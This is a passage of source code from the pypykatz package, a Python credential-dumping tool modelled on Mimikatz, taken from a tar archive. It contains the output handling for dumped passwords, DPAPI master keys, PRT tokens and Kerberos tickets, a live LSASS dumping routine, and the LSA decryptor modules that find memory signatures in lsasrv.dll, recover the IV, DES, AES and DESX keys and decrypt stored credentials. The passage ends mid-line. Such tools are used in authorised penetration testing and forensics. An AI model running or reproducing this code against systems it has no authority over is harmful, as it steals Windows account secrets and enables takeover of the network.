==\n') for cred in results[result].orphaned_creds: f.write(str(cred)) if len(files_with_error) > 0: f.write('\n== Failed to parse these files:\n') for filename in files_with_error: f.write('%s\n' % filename) elif args.json: print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True)) elif args.grep: if hasattr(args, 'directory') and args.directory is not None: print(':'.join(['filename'] + LogonSession.grep_header)) else: print(':'.join(LogonSession.grep_header)) for result in results: for luid in results[result].logon_sessions: for row in results[result].logon_sessions[luid].to_grep_rows(): if hasattr(args, 'directory') and args.directory is not None: row = [result] + row print(':'.join(row)) for cred in results[result].orphaned_creds: t = cred.to_dict() if t['credtype'] == 'cloudap': x = [str(t['credtype']), '', '', '', '', '', str(cred.get_masterkey_hex()), str(t['dpapi_key_sha1']), str(t['key_guid']), t['PRT']] if hasattr(args, 'directory') and args.directory is not None: x = [result] + x print(':'.join(x)) elif t['credtype'] != 'dpapi': if t.get('password', None) is not None and t['password'] is not None: x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] if hasattr(args, 'directory') and args.directory is not None: x = [result] + x print(':'.join(x)) else: t = cred.to_dict() x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] if hasattr(args, 'directory') and args.directory is not None: x = [result] + x print(':'.join(x)) for pkg, err in results[result].errors: err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) err_str = base64.b64encode(err_str.encode()).decode() x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str] if hasattr(args, 'directory') and args.directory is not None: x = [result] + x print(':'.join(x) + '\r\n') else: for result in results: print('FILE: ======== %s =======' % result) if isinstance(results[result], str): print(results[result]) else: for luid in results[result].logon_sessions: print(str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: print('== Orphaned credentials ==') for cred in results[result].orphaned_creds: print(str(cred)) if len(results[result].errors) > 0: print('== Errors ==') for pkg, err in results[result].errors: err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) logger.debug(err_str) err_str = base64.b64encode(err_str.encode()).decode() print('%s %s' % (pkg+'_exception_please_report',err_str)) if len(files_with_error) > 0: print('\n==== Parsing errors:') for filename in files_with_error: print(filename) if args.kerberos_dir: dir = os.path.abspath(args.kerberos_dir) logger.info('Writing kerberos tickets to %s' % dir) for filename in results: base_filename = ntpath.basename(filename) ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions results[filename].kerberos_ccache.to_file(os.path.join(dir, ccache_filename)) for luid in results[filename].logon_sessions: for kcred in results[filename].logon_sessions[luid].kerberos_creds: for ticket in kcred.tickets: ticket.to_kirbi(dir) for cred in results[filename].orphaned_creds: if cred.credtype == 'kerberos': for ticket in cred.tickets: ticket.to_kirbi(dir) def run_live(self, args): files_with_error = [] results = {} if args.module == 'lsa': filename = 'live' try: if args.kerberos_dir is not None and 'all' not in args.packages: args.packages.append('ktickets') if args.method == 'procopen': mimi = pypykatz.go_live(packages=args.packages) elif args.method == 'handledup': mimi = pypykatz.go_handledup(packages=args.packages) if mimi is None: raise Exception('HANDLEDUP failed to bring any results!') results['live'] = mimi if args.halt_on_error == True and len(mimi.errors) > 0: raise Exception('Error in modules!') except Exception as e: files_with_error.append(filename) if args.halt_on_error == True: raise e else: print('Exception while dumping LSA credentials from memory.') traceback.print_exc() pass self.process_results(results, files_with_error,args) def run(self, args): files_with_error = [] results = {} ###### Rekall if args.cmd == 'rekall': if args.kerberos_dir is not None and 'all' not in args.packages: args.packages.append('ktickets') mimi = pypykatz.parse_memory_dump_rekall(args.memoryfile, args.timestamp_override, packages=args.packages) results['rekall'] = mimi elif args.cmd == 'info': if args.directory: dir_fullpath = os.path.abspath(args.memoryfile) file_pattern = '*.dmp' if args.recursive == True: globdata = os.path.join(dir_fullpath, '**', file_pattern) else: globdata = os.path.join(dir_fullpath, file_pattern) else: globdata = args.memoryfile for filename in glob.glob(globdata, recursive=args.recursive): minidump = MinidumpFile.parse(filename) sysinfo = KatzSystemInfo.from_minidump(minidump) print('[%s] %s' % (filename, sysinfo)) ###### Minidump elif args.cmd == 'minidump': if args.directory: dir_fullpath = os.path.abspath(args.memoryfile) for file_pattern in ['*.dmp', '*.DMP']: if args.recursive == True: globdata = os.path.join(dir_fullpath, '**', file_pattern) else: globdata = os.path.join(dir_fullpath, file_pattern) logger.info('Parsing folder %s' % dir_fullpath) for filename in glob.glob(globdata, recursive=args.recursive): logger.info('Parsing file %s' % filename) try: if args.kerberos_dir is not None and 'all' not in args.packages: args.packages.append('ktickets') mimi = pypykatz.parse_minidump_file(filename, packages=args.packages) results[filename] = mimi if args.halt_on_error == True and len(mimi.errors) > 0: print(mimi.errors) raise Exception('Error in modules!') except Exception as e: files_with_error.append(filename) logger.exception('Error parsing file %s ' % filename) if args.halt_on_error == True: raise e else: pass else: logger.info('Parsing file %s' % args.memoryfile) try: if args.kerberos_dir is not None and 'all' not in args.packages: args.packages.append('ktickets') mimi = pypykatz.parse_minidump_file(args.memoryfile, packages=args.packages) results[args.memoryfile] = mimi if args.halt_on_error == True and len(mimi.errors) > 0: raise Exception('Error in modules!') except Exception as e: logger.exception('Error while parsing file %s' % args.memoryfile) if args.halt_on_error == True: raise e else: traceback.print_exc() self.process_results(results, files_with_error, args)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/lsa_decryptor.py0000664000175000017500000000117614543266630022715 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from pypykatz.lsadecryptor.lsa_template_nt5 import LsaTemplate_NT5 from pypykatz.lsadecryptor.lsa_template_nt6 import LsaTemplate_NT6 from pypykatz.lsadecryptor.lsa_decryptor_nt6 import LsaDecryptor_NT6 from pypykatz.lsadecryptor.lsa_decryptor_nt5 import LsaDecryptor_NT5 class LsaDecryptor: def __init__(self): pass @staticmethod def choose(reader, decryptor_template, sysinfo): if isinstance(decryptor_template, LsaTemplate_NT5): return LsaDecryptor_NT5(reader, decryptor_template, sysinfo) else: return LsaDecryptor_NT6(reader, decryptor_template, sysinfo)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/lsa_decryptor_nt5.py0000664000175000017500000003237314543266630023506 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from unicrypto.symmetric import RC4 from pypykatz.lsadecryptor.package_commons import PackageDecryptor from pypykatz.commons.win_datatypes import LONG class LsaDecryptor_NT5(PackageDecryptor): def __init__(self, reader, decryptor_template, sysinfo): super().__init__('LsaDecryptor', None, sysinfo, reader) self.decryptor_template = decryptor_template self.feedback = None self.feedback_offset = None self.des_key = None self.random_key = None self.acquire_crypto_material() def acquire_crypto_material(self): self.log('Acquireing crypto stuff...') sigpos = self.find_signature() self.reader.move(sigpos) #data = self.reader.peek(0x50) #self.log('Memory looks like this around the signature\n%s' % hexdump(data, start = sigpos)) for x in [self.decryptor_template.feedback_ptr_offset , self.decryptor_template.old_feedback_offset]: self.feedback_offset = x try: self.feedback = self.get_feedback(sigpos) #self.log('Feedback bytes:\n%s' % hexdump(self.feedback, start = 0)) self.des_key = self.get_key(sigpos) self.random_key = self.get_random(sigpos) #self.log('randomkey bytes:\n%s' % hexdump(self.random_key, start = 0)) except: import traceback traceback.print_exc() #input() else: break def get_feedback(self, sigpos): if self.decryptor_template.arch == 'x86': new_ptr = self.reader.get_ptr_with_offset(sigpos + self.feedback_offset) self.reader.move(new_ptr) return self.reader.read(8) else: self.reader.move(sigpos + self.feedback_offset) offset = LONG(self.reader).value newpos = sigpos + self.feedback_offset + 4 + offset self.reader.move(newpos) return self.reader.read(8) def get_key(self, sigpos): if self.decryptor_template.arch == 'x86': new_ptr = self.reader.get_ptr_with_offset(sigpos + self.decryptor_template.desx_key_ptr_offset) self.reader.move(new_ptr) des_key_ptr = self.decryptor_template.key_struct_ptr(self.reader) des_key = des_key_ptr.read(self.reader) else: self.reader.move(sigpos + self.decryptor_template.desx_key_ptr_offset) offset = LONG(self.reader).value newpos = sigpos + self.decryptor_template.desx_key_ptr_offset + 4 + offset self.reader.move(newpos) des_key_ptr = self.decryptor_template.key_struct_ptr(self.reader) des_key = des_key_ptr.read(self.reader) return des_key def get_random(self, sigpos): if self.decryptor_template.arch == 'x86': random_key_ptr = self.reader.get_ptr_with_offset(sigpos + self.decryptor_template.randomkey_ptr_offset) random_key_ptr = self.reader.get_ptr_with_offset(random_key_ptr) self.reader.move(random_key_ptr) else: self.reader.move(sigpos + self.decryptor_template.randomkey_ptr_offset) offset = LONG(self.reader).value newpos = sigpos + self.decryptor_template.desx_key_ptr_offset + 4 + offset self.reader.move(newpos) return self.reader.read(256) def find_signature(self): self.log('Looking for main struct signature in memory...') fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature) if len(fl) == 0: self.logger.log('signature not found! %s' % self.decryptor_template.signature.hex()) raise Exception('LSA signature not found!') self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl)) self.log('Selecting first one @ 0x%08x' % fl[0]) return fl[0] def decrypt(self, encrypted, segment_size = 128): # TODO: NT version specific, move from here in subclasses. cleartext = b'' size = len(encrypted) if size: if (size % 8) != 0: ctx = RC4(self.random_key) cleartext = ctx.decrypt(encrypted) else: #print('Decryption not implemented!') cleartext = self.__desx_decrypt(encrypted) #raise Exception('Not implemented!') return cleartext def dump(self): self.log('Recovered LSA encryption keys\n') self.log('Feedback ({}): {}'.format(len(self.feedback), self.feedback.hex())) self.log('Random Key ({}): {}'.format(len(self.random_key), self.random_key.hex())) self.log('DESX inputwhitening Key ({}): {}'.format(len(self.des_key.inputWhitening), self.des_key.inputWhitening.hex())) self.log('DESX outputwhitening Key ({}): {}'.format(len(self.des_key.outputWhitening), self.des_key.outputWhitening.hex())) #self.log('DESX DES Expanded Key ({}): {}' % (self.des_key.desKey.roundKey)) def __desx_decrypt_internal_block(self, chunk): chunk = xor(chunk, self.des_key.outputWhitening) chunk = self.__desx_internal_block(chunk, encrypt = False) chunk = xor(chunk, self.des_key.inputWhitening) return chunk def __desx_decrypt(self, data): res = b'' i = 0 IV = self.feedback while i != len(data): chunk = self.__desx_decrypt_internal_block(data[i:i+8]) res += xor(chunk, IV) IV = data[i:i+8] i += 8 return res def __desx_internal_block(self, data, encrypt = False): L = int.from_bytes(data[4:], 'little', signed = False) R = int.from_bytes(data[:4], 'little', signed = False) #t = 'ORIGINAL L: %s R: %s' % (L,R) #input(t) #print(hex(R)) R = rol32(R, 4) #input(hex(R)) Ta = (L ^ R) & 0xf0f0f0f0 #input('Ta ' + hex(Ta)) L = L ^ Ta R = R ^ Ta L = rol32(L, 20) Ta = (L ^ R) & 0xfff0000f #input('Ta ' + hex(Ta)) L = L ^ Ta R = R ^ Ta L = rol32(L, 14) Ta = (L ^ R) & 0x33333333 #input('Ta ' + hex(Ta)) L = L ^ Ta R = R ^ Ta R = rol32(R, 22) Ta = (L ^ R) & 0x03fc03fc #input('Ta ' + hex(Ta)) L = L ^ Ta R = R ^ Ta R = rol32(R, 9) Ta = (L ^ R) & 0xaaaaaaaa #input('Ta ' + hex(Ta)) L = L ^ Ta R = R ^ Ta L = rol32(L, 1) #t = 'BEFORE F! L: %s R: %s' % (L,R) #input(t) if encrypt: for i in range(0,14, 2): L, R = F(L, R, self.des_key.desKey.roundKey[i]) R, L = F(R, L, self.des_key.desKey.roundKey[i +1]) else: for i in range(14, -2, -2): #print(i) L, R = F(L, R, self.des_key.desKey.roundKey[i + 1]) #t = 'F(%s) L: %s R: %s' % (i, L,R) #input(t) R, L = F(R, L, self.des_key.desKey.roundKey[i]) #t = 'F(%s) L: %s R: %s' % (i, L,R) #input(t) #t = 'AFTER F! L: %s R: %s' % (L,R) #input(t) R = ror32(R, 1) Ta = (L ^ R) & 0xaaaaaaaa L = L ^ Ta R = R ^ Ta L = ror32(L, 9) Ta = (L ^ R) & 0x03fc03fc L ^= Ta R ^= Ta L = ror32(L, 22) Ta = (L ^ R) & 0x33333333 L ^= Ta R ^= Ta R = ror32(R, 14) Ta = (L ^ R) & 0xfff0000f L ^= Ta R ^= Ta R = ror32(R, 20) Ta = (L ^ R) & 0xf0f0f0f0 L ^= Ta R ^= Ta L = ror32(L, 4) return L.to_bytes(4, 'little', signed = False) + R.to_bytes(4, 'little', signed = False) SymCryptDesSpbox = [ [ 0x02080800, 0x00080000, 0x02000002, 0x02080802, 0x02000000, 0x00080802, 0x00080002, 0x02000002, 0x00080802, 0x02080800, 0x02080000, 0x00000802, 0x02000802, 0x02000000, 0x00000000, 0x00080002, 0x00080000, 0x00000002, 0x02000800, 0x00080800, 0x02080802, 0x02080000, 0x00000802, 0x02000800, 0x00000002, 0x00000800, 0x00080800, 0x02080002, 0x00000800, 0x02000802, 0x02080002, 0x00000000, 0x00000000, 0x02080802, 0x02000800, 0x00080002, 0x02080800, 0x00080000, 0x00000802, 0x02000800, 0x02080002, 0x00000800, 0x00080800, 0x02000002, 0x00080802, 0x00000002, 0x02000002, 0x02080000, 0x02080802, 0x00080800, 0x02080000, 0x02000802, 0x02000000, 0x00000802, 0x00080002, 0x00000000, 0x00080000, 0x02000000, 0x02000802, 0x02080800, 0x00000002, 0x02080002, 0x00000800, 0x00080802, ], [ 0x40108010, 0x00000000, 0x00108000, 0x40100000, 0x40000010, 0x00008010, 0x40008000, 0x00108000, 0x00008000, 0x40100010, 0x00000010, 0x40008000, 0x00100010, 0x40108000, 0x40100000, 0x00000010, 0x00100000, 0x40008010, 0x40100010, 0x00008000, 0x00108010, 0x40000000, 0x00000000, 0x00100010, 0x40008010, 0x00108010, 0x40108000, 0x40000010, 0x40000000, 0x00100000, 0x00008010, 0x40108010, 0x00100010, 0x40108000, 0x40008000, 0x00108010, 0x40108010, 0x00100010, 0x40000010, 0x00000000, 0x40000000, 0x00008010, 0x00100000, 0x40100010, 0x00008000, 0x40000000, 0x00108010, 0x40008010, 0x40108000, 0x00008000, 0x00000000, 0x40000010, 0x00000010, 0x40108010, 0x00108000, 0x40100000, 0x40100010, 0x00100000, 0x00008010, 0x40008000, 0x40008010, 0x00000010, 0x40100000, 0x00108000, ], [ 0x04000001, 0x04040100, 0x00000100, 0x04000101, 0x00040001, 0x04000000, 0x04000101, 0x00040100, 0x04000100, 0x00040000, 0x04040000, 0x00000001, 0x04040101, 0x00000101, 0x00000001, 0x04040001, 0x00000000, 0x00040001, 0x04040100, 0x00000100, 0x00000101, 0x04040101, 0x00040000, 0x04000001, 0x04040001, 0x04000100, 0x00040101, 0x04040000, 0x00040100, 0x00000000, 0x04000000, 0x00040101, 0x04040100, 0x00000100, 0x00000001, 0x00040000, 0x00000101, 0x00040001, 0x04040000, 0x04000101, 0x00000000, 0x04040100, 0x00040100, 0x04040001, 0x00040001, 0x04000000, 0x04040101, 0x00000001, 0x00040101, 0x04000001, 0x04000000, 0x04040101, 0x00040000, 0x04000100, 0x04000101, 0x00040100, 0x04000100, 0x00000000, 0x04040001, 0x00000101, 0x04000001, 0x00040101, 0x00000100, 0x04040000, ], [ 0x00401008, 0x10001000, 0x00000008, 0x10401008, 0x00000000, 0x10400000, 0x10001008, 0x00400008, 0x10401000, 0x10000008, 0x10000000, 0x00001008, 0x10000008, 0x00401008, 0x00400000, 0x10000000, 0x10400008, 0x00401000, 0x00001000, 0x00000008, 0x00401000, 0x10001008, 0x10400000, 0x00001000, 0x00001008, 0x00000000, 0x00400008, 0x10401000, 0x10001000, 0x10400008, 0x10401008, 0x00400000, 0x10400008, 0x00001008, 0x00400000, 0x10000008, 0x00401000, 0x10001000, 0x00000008, 0x10400000, 0x10001008, 0x00000000, 0x00001000, 0x00400008, 0x00000000, 0x10400008, 0x10401000, 0x00001000, 0x10000000, 0x10401008, 0x00401008, 0x00400000, 0x10401008, 0x00000008, 0x10001000, 0x00401008, 0x00400008, 0x00401000, 0x10400000, 0x10001008, 0x00001008, 0x10000000, 0x10000008, 0x10401000, ], [ 0x08000000, 0x00010000, 0x00000400, 0x08010420, 0x08010020, 0x08000400, 0x00010420, 0x08010000, 0x00010000, 0x00000020, 0x08000020, 0x00010400, 0x08000420, 0x08010020, 0x08010400, 0x00000000, 0x00010400, 0x08000000, 0x00010020, 0x00000420, 0x08000400, 0x00010420, 0x00000000, 0x08000020, 0x00000020, 0x08000420, 0x08010420, 0x00010020, 0x08010000, 0x00000400, 0x00000420, 0x08010400, 0x08010400, 0x08000420, 0x00010020, 0x08010000, 0x00010000, 0x00000020, 0x08000020, 0x08000400, 0x08000000, 0x00010400, 0x08010420, 0x00000000, 0x00010420, 0x08000000, 0x00000400, 0x00010020, 0x08000420, 0x00000400, 0x00000000, 0x08010420, 0x08010020, 0x08010400, 0x00000420, 0x00010000, 0x00010400, 0x08010020, 0x08000400, 0x00000420, 0x00000020, 0x00010420, 0x08010000, 0x08000020, ], [ 0x80000040, 0x00200040, 0x00000000, 0x80202000, 0x00200040, 0x00002000, 0x80002040, 0x00200000, 0x00002040, 0x80202040, 0x00202000, 0x80000000, 0x80002000, 0x80000040, 0x80200000, 0x00202040, 0x00200000, 0x80002040, 0x80200040, 0x00000000, 0x00002000, 0x00000040, 0x80202000, 0x80200040, 0x80202040, 0x80200000, 0x80000000, 0x00002040, 0x00000040, 0x00202000, 0x00202040, 0x80002000, 0x00002040, 0x80000000, 0x80002000, 0x00202040, 0x80202000, 0x00200040, 0x00000000, 0x80002000, 0x80000000, 0x00002000, 0x80200040, 0x00200000, 0x00200040, 0x80202040, 0x00202000, 0x00000040, 0x80202040, 0x00202000, 0x00200000, 0x80002040, 0x80000040, 0x80200000, 0x00202040, 0x00000000, 0x00002000, 0x80000040, 0x80002040, 0x80202000, 0x80200000, 0x00002040, 0x00000040, 0x80200040, ], [ 0x00004000, 0x00000200, 0x01000200, 0x01000004, 0x01004204, 0x00004004, 0x00004200, 0x00000000, 0x01000000, 0x01000204, 0x00000204, 0x01004000, 0x00000004, 0x01004200, 0x01004000, 0x00000204, 0x01000204, 0x00004000, 0x00004004, 0x01004204, 0x00000000, 0x01000200, 0x01000004, 0x00004200, 0x01004004, 0x00004204, 0x01004200, 0x00000004, 0x00004204, 0x01004004, 0x00000200, 0x01000000, 0x00004204, 0x01004000, 0x01004004, 0x00000204, 0x00004000, 0x00000200, 0x01000000, 0x01004004, 0x01000204, 0x00004204, 0x00004200, 0x00000000, 0x00000200, 0x01000004, 0x00000004, 0x01000200, 0x00000000, 0x01000204, 0x01000200, 0x00004200, 0x00000204, 0x00004000, 0x01004204, 0x01000000, 0x01004200, 0x00000004, 0x00004004, 0x01004204, 0x01000004, 0x01004200, 0x01004000, 0x00004004, ], [ 0x20800080, 0x20820000, 0x00020080, 0x00000000, 0x20020000, 0x00800080, 0x20800000, 0x20820080, 0x00000080, 0x20000000, 0x00820000, 0x00020080, 0x00820080, 0x20020080, 0x20000080, 0x20800000, 0x00020000, 0x00820080, 0x00800080, 0x20020000, 0x20820080, 0x20000080, 0x00000000, 0x00820000, 0x20000000, 0x00800000, 0x20020080, 0x20800080, 0x00800000, 0x00020000, 0x20820000, 0x00000080, 0x00800000, 0x00020000, 0x20000080, 0x20820080, 0x00020080, 0x20000000, 0x00000000, 0x00820000, 0x20800080, 0x20020080, 0x20020000, 0x00800080, 0x20820000, 0x00000080, 0x00800080, 0x20020000, 0x20820080, 0x00800000, 0x20800000, 0x20000080, 0x00820000, 0x00020080, 0x20020080, 0x20800000, 0x00000080, 0x20820000, 0x00820080, 0x00000000, 0x20000000, 0x20800080, 0x00020000, 0x00820080, ], ] def F(L, R, keya): Ta = keya[0] ^ R Tb = keya[1] ^ R Tb = ror32(Tb, 4) L ^= SymCryptDesSpbox[0][ (Ta & 0xfc) // 4] L ^= SymCryptDesSpbox[1][ (Tb & 0xfc) // 4] L ^= SymCryptDesSpbox[2][((Ta>> 8)& 0xfc)//4] L ^= SymCryptDesSpbox[3][((Tb>> 8)& 0xfc)//4] L ^= SymCryptDesSpbox[4][((Ta>>16)& 0xfc)//4] L ^= SymCryptDesSpbox[5][((Tb>>16)& 0xfc)//4] L ^= SymCryptDesSpbox[6][((Ta>>24)& 0xfc)//4] L ^= SymCryptDesSpbox[7][((Tb>>24)& 0xfc)//4] return L, R def rol32(n, d): return ((n << d)|(n >> (32 - d))) & 0xFFFFFFFF def ror32(n, d): return ((n >> d)|(n << (32 - d))) & 0xFFFFFFFF def xor(d1, d2): return bytes(a ^ b for (a, b) in zip(d1, d2)) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/lsa_decryptor_nt6.py0000664000175000017500000001021614543266630023477 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import traceback from pypykatz import logger from pypykatz.commons.common import hexdump from unicrypto.symmetric import TDES, AES, MODE_CFB, MODE_CBC from pypykatz.lsadecryptor.package_commons import PackageDecryptor class LsaDecryptor_NT6(PackageDecryptor): def __init__(self, reader, decryptor_template, sysinfo): super().__init__('LsaDecryptor', None, sysinfo, reader) self.decryptor_template = decryptor_template self.iv = None self.aes_key = None self.des_key = None self.acquire_crypto_material() def acquire_crypto_material(self): self.log('Acquireing crypto stuff...') sigpos = self.find_signature() self.reader.move(sigpos) data = self.reader.peek(0x50) self.log('Memory looks like this around the signature\n%s' % hexdump(data, start = sigpos)) self.iv = self.get_IV(sigpos) self.des_key = self.get_des_key(sigpos) self.aes_key = self.get_aes_key(sigpos) def get_des_key(self, pos): self.log('Acquireing DES key...') return self.get_key(pos, self.decryptor_template.key_pattern.offset_to_DES_key_ptr) def get_aes_key(self, pos): self.log('Acquireing AES key...') return self.get_key(pos, self.decryptor_template.key_pattern.offset_to_AES_key_ptr) def find_signature(self): self.log('Looking for main struct signature in memory...') fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.key_pattern.signature, find_first = True) if len(fl) == 0: logger.debug('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex()) raise Exception('LSA signature not found!') self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl)) self.log('Selecting first one @ 0x%08x' % fl[0]) return fl[0] def get_IV(self, pos): self.log('Reading IV') #### TEST!!!! #if hasattr(self.sysinfo, 'IV_OFFSET'): # ptr_iv = self.reader.get_ptr_with_offset(pos + self.sysinfo.IV_OFFSET) # self.reader.move(ptr_iv) # data = self.reader.read(self.decryptor_template.key_pattern.IV_length) # self.log('IV data: %s' % hexdump(data)) # return data ptr_iv = self.reader.get_ptr_with_offset(pos + self.decryptor_template.key_pattern.offset_to_IV_ptr) #self.log('IV pointer takes us to 0x%08x' % ptr_iv) self.reader.move(ptr_iv) data = self.reader.read(self.decryptor_template.key_pattern.IV_length) self.log('IV data: %s' % hexdump(data)) return data def get_key(self, pos, key_offset): ptr_key = self.reader.get_ptr_with_offset(pos + key_offset) self.log('key handle pointer is @ 0x%08x' % ptr_key) ptr_key = self.reader.get_ptr(ptr_key) self.log('key handle is @ 0x%08x' % ptr_key) self.reader.move(ptr_key) data = self.reader.peek(0x50) self.log('BCRYPT_HANLE_KEY_DATA\n%s' % hexdump(data, start = ptr_key)) kbhk = self.decryptor_template.key_handle_struct(self.reader) if kbhk.verify(): ptr_key = kbhk.ptr_key.value self.reader.move(ptr_key) data = self.reader.peek(0x50) self.log('BCRYPT_KEY_DATA\n%s' % hexdump(data, start = ptr_key)) kbk = kbhk.ptr_key.read(self.reader, self.decryptor_template.key_struct) self.log('HARD_KEY SIZE: 0x%x' % kbk.size) if kbk.verify(): self.log('HARD_KEY data:\n%s' % hexdump(kbk.hardkey.data)) return kbk.hardkey.data def decrypt(self, encrypted, segment_size=128): # TODO: NT version specific, move from here in subclasses. cleartext = b'' size = len(encrypted) if size: if size % 8: logger.debug('AES-CFB - %s' % size) if not self.aes_key or not self.iv: return cleartext cipher = AES(self.aes_key, MODE_CFB, IV = self.iv, segment_size=segment_size) cleartext = cipher.decrypt(encrypted) else: logger.debug('TDES - size %s' % size) if not self.des_key or not self.iv: return cleartext cipher = TDES(self.des_key, MODE_CBC, self.iv[:8]) cleartext = cipher.decrypt(encrypted) return cleartext def dump(self): self.log('Recovered LSA encryption keys\n') self.log('IV ({}): {}'.format(len(self.iv), self.iv.hex())) self.log('DES_KEY ({}): {}'.format(len(self.des_key), self.des_key.hex())) self.log('AES_KEY ({}): {}'.format(len(self.aes_key), self.aes_key.hex()))././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/lsadecryptor/lsa_template_nt5.py0000664000175000017500000000560514543266630023304 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from minidump.win_datatypes import POINTER from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild from pypykatz.lsadecryptor.package_commons import PackageTemplate class LsaTemplate_NT5(PackageTemplate): def __init__(self): self.signature = None self.feedback = None self.randomkey_ptr = None self.DESXKey_ptr = None self.key_struct = None @staticmethod def get_template_brute(sysinfo): raise Exception('Template guessing is not applicable for NT5') @staticmethod def get_template(sysinfo): if sysinfo.architecture == KatzSystemArchitecture.X86: if sysinfo.buildnumber <= WindowsMinBuild.WIN_VISTA.value: return templates['nt5']['x86']['1'] else: raise Exception('NT 6 is in another castle!') elif sysinfo.architecture == KatzSystemArchitecture.X64: if sysinfo.buildnumber <= WindowsMinBuild.WIN_VISTA.value: return templates['nt5']['x64']['1'] else: raise Exception('NT 6 is in another castle!') class SYMCRYPT_NT5_DES_EXPANDED_KEY: def __init__(self, reader): self.roundKey = [] for _ in range(16): r = int.from_bytes(reader.read(4), 'little', signed = False) l = int.from_bytes(reader.read(4), 'little', signed = False) self.roundKey.append([r, l]) def __str__(self): t = 'SYMCRYPT_NT5_DES_EXPANDED_KEY\r\n' for i, x in enumerate(self.roundKey): t += '%s L: %s R: %s\r\n' % (i, hex(x[0]), hex(x[1])) return t class SYMCRYPT_NT5_DESX_EXPANDED_KEY: def __init__(self, reader): self.inputWhitening = reader.read(8) self.outputWhitening = reader.read(8) self.desKey = SYMCRYPT_NT5_DES_EXPANDED_KEY(reader) def __str__(self): t = 'SYMCRYPT_NT5_DESX_EXPANDED_KEY\r\n' t += 'inputWhitening : %s\r\n' % (self.inputWhitening.hex()) t += 'outputWhitening : %s\r\n' % (self.outputWhitening.hex()) t += 'desKey : %s\r\n' % (str(self.desKey)) return t class PSYMCRYPT_NT5_DESX_EXPANDED_KEY(POINTER): def __init__(self, reader): super().__init__(reader, SYMCRYPT_NT5_DESX_EXPANDED_KEY) class LSA_x64_nt5_1(LsaTemplate_NT5): def __init__(self): LsaTemplate_NT5.__init__(self) self.arch = 'x64' self.signature = b'\x33\xdb\x8b\xc3\x48\x83\xc4\x20\x5b\xc3' self.nt_major = '5' self.feedback_ptr_offset = -67 self.randomkey_ptr_offset = -17 self.desx_key_ptr_offset = -35 self.old_feedback_offset = 29 self.key_struct_ptr = PSYMCRYPT_NT5_DESX_EXPANDED_KEY class LSA_x86_nt5_1(LsaTemplate_NT5): def __init__(self): LsaTemplate_NT5.__init__(self) self.arch = 'x86' self.nt_major = '5' self.signature = b'\x05\x90\x00\x00\x00\x6a\x18\x50\xa3' self.feedback_ptr_offset = 25 self.randomkey_ptr_offset = 9 self.desx_key_ptr_offset = -4 self.old_feedback_offset = 29 self.key_struct_ptr = PSYMCRYPT_NT5_DESX_EXPANDED_KEY templates = { 'nt5' : { 'x86': { '1' : LSA_x86_nt5_1(), }, 'x64': { '1' : LSA_x64_nt5_1(), } } }././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1705945213.0 pypykatz-0.6.10/pypykatz/lsadecryptor/lsa_template_nt6.py0000664000175000017500000003704514553524175023312 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from minidump.win_datatypes import ULONG, PVOID, POINTER from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild from pypykatz.lsadecryptor.package_commons import PackageTemplate from pypykatz import logger class LsaTemplate_NT6(PackageTemplate): def __init__(self): super().__init__('LSA Decryptor') self.key_pattern = None self.key_handle_struct = None self.key_struct = None self.hard_key_struct = KIWI_HARD_KEY self.nt_major = '6' @staticmethod def get_template_brute(sysinfo): if sysinfo.architecture == KatzSystemArchitecture.X86: if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value: raise Exception('NT 5 is not yet supported!') elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value: raise Exception('NT 5 is not yet supported!') else: keys = [x for x in templates['nt6']['x86']] keys.sort(reverse = True) for key in keys: yield templates['nt6']['x86'][key] elif sysinfo.architecture == KatzSystemArchitecture.X64: if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value: raise Exception('NT 5 is not yet supported!') elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value: raise Exception('NT 5 is not yet supported!') else: keys = [x for x in templates['nt6']['x64']] keys.sort(reverse = True) for key in keys: logger.debug('BF: using x64 - %s' % key) yield templates['nt6']['x64'][key] @staticmethod def get_template(sysinfo): template = LsaTemplate_NT6() logger.debug('Buildnumber: %s' % sysinfo.buildnumber) if sysinfo.architecture == KatzSystemArchitecture.X86: if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value: raise Exception("Maybe implemented later") elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value: template.nt_major = '5' template = templates['nt5']['x86']['1'] elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < 